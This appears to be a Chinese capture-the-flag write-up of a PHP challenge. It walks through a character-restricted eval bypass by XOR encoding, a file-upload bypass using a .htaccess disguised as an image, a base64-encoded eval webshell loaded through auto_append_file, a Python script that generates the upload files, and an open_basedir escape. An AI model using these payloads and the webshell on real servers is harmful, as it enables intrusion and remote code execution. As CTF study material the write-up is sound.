前言:
不是很难,但是能学到新姿势
考点:
代码审计
无数字字母RCE
文件上传
openbasedir绕过
解题:
上来就是代码审计
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
简单读了下代码。
GET 传 一个 ?_ 赋值给$hhh
条件:
$hhh 长度不能超过 18 ,不能匹配到 指定的字符, 盲猜是异或绕过。
本地测试到 只能利用这些字符。
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }
还有这个函数 count_chars
返回在字符串中所用字符的信息,本题中用的是模式3,返回在字符串中使用过的不同字符
本地测试一下:
$a = count_chars("qwe rcc ce",3);
var_dump($a);
结果:
如果相同的字符 ,出现的次数超过12 则会退出。
后面执行 eval($hhh)
本题可以套娃绕过。
如:
http://127.0.0.1/test/test1.php?_=${_GET}{a}();&a=phpinfo
这里用 { } 是因为 [ ] 被过滤了。结果是一样的。
?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo
先 审计一下 以下代码:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
路径会打印出来,过滤了ph的后缀 文件内容不能有 <? ,而且 必须是图片。因为过滤了 ph
想要上传带 ph 的后缀是不可能的了,如果上传 jpg格式的再进行包含 也是先上传 .htaccess 或者 是 .user.ini 而 .user.ini 需要有php 文件下才可以利用,所以我们上传 .htaccess 。
新姿势:
如何让 .htaccess 文件 被判断成图片,我按常规思路想着 加GIF89a 了 但是不行 。
看其他师傅的才知道。 有两种方法:
方法一:
#define width 1337
#define height 1337
方法二:
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
但是还有一个问题,就是文件内容不能有<?
用<script language="php"></script>
来绕过,但是因为这题的PHP版本是7.3.4,<script language="php"></script>
这种写法在PHP7以后就不支持了,因此不行。
这里又是一个新姿势:
#define width 1337
#define height 1337
AddType application/x-httpd-php .snowy
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/123.snowy
利用auto_append_file来包含b64解码的123.feng文章,这样往123.feng里面写b64解密后的马,就可以绕过<?的过滤了。
但是还有一个细节需要注意,我们的123.snowy也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码,而且不会影响到后面的PHP一句话
GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+
网上的脚本,上传.htaccess
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .lethe\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
接下来就是最后一个点,通过phpinfo我们可以看到存在open_basedir和disable_functions的限制,这时候看一下PHP版本是7.3.4,应该存在一个绕disable_functions的洞,利用蚁剑可以直接梭:
或者考虑命令执行一步一步绕过,因为没有过滤scandir,glob和file_get_contents,因此disable_functions这个的过滤其实对我们来说问题不大,主要的问题还是如何绕过open_basedir,姿势如下: 如果不熟悉的话,可以了解我之前写的文章。
mkdir('feng');
chdir('feng');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
总结:
。。。